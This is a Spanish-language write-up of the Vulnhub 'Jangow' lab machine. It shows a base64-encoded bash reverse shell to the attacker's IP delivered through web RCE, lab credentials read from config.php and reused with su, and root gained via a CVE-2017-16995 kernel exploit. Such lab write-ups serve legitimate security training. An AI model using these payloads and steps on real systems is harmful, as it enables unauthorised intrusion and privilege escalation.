Vulnhub - Jangow
Máquina Linux de nivel Easy de Vulnhub.
Técnicas usadas: RCE, Kernel Exploitation (CVE-2017-16995)
Fase de Reconocimiento 🧣
a. Enumeramos los puertos que están abiertos.
b. Vemos las versiones de los servicios que se están ejecutando en los puertos.
c. Al inspeccionar le código fuente de la página llegamos a la ruta **http://
d. Existen varias formas de establecer una reverse shell, en este caso, encodearemos el payload en base64, lo decodeamos y lo depositamos en un archivo, para posteriormente, ejecutarlo.
🆚 Nos ponemos en escucha previamente con nc: nc -lvnp 443
Payload
1 2 3
#!/bin/bash bash -i >& /dev/tcp/<Nuestra IP>/443 0>&1
- Lo encodeamos en base64 base64 -w 0 payload
- Urlencodemos el payload **echo -n “echo -n ‘
'|base64 -d>backup.sh" | jq -sRr @uri** y lo ejecutamos enviándolo con Burp Suite
- Por último, ejecutamos el script bash%20backup.sh
1
www-data@jangow01:/var/www/html/site/wordpress$
Escalada de Privilegios 💹
a. Encontramos un archivo config.php con credenciales y existe otro usuario jangow01
1
2
3
4
5
6
7
www-data@jangow01:/var/www/html/site/wordpress$ cat config.php
<?php
$servername = "localhost";
$database = "desafio02";
$username = "desafio02";
$password = "abygurl69";
<SNIP>
b. Nos convertimos en el usuario jangow01 con la contraseña abygurl69
1
2
3
www-data@jangow01:/var/www/html/site/wordpress$ su jangow01
Password: abygurl69
jangow01@jangow01:/var/www/html/site/wordpress$
c. Al listar la versión de kernel, vemos que es antiguo y es vulnerable, copiamos el script y lo copiamos en una archivo en /tmp
, lo compilamos con gcc exploit.c exploit
, le damos permisos de ejecución chmod +x exploit
, lo ejecutamos y seremos root
1
2
3
root@jangow01:/tmp# cat /root/proof.txt
<SNIP>
da39a3ee5e6b4b0d3255bfef95601890afd80709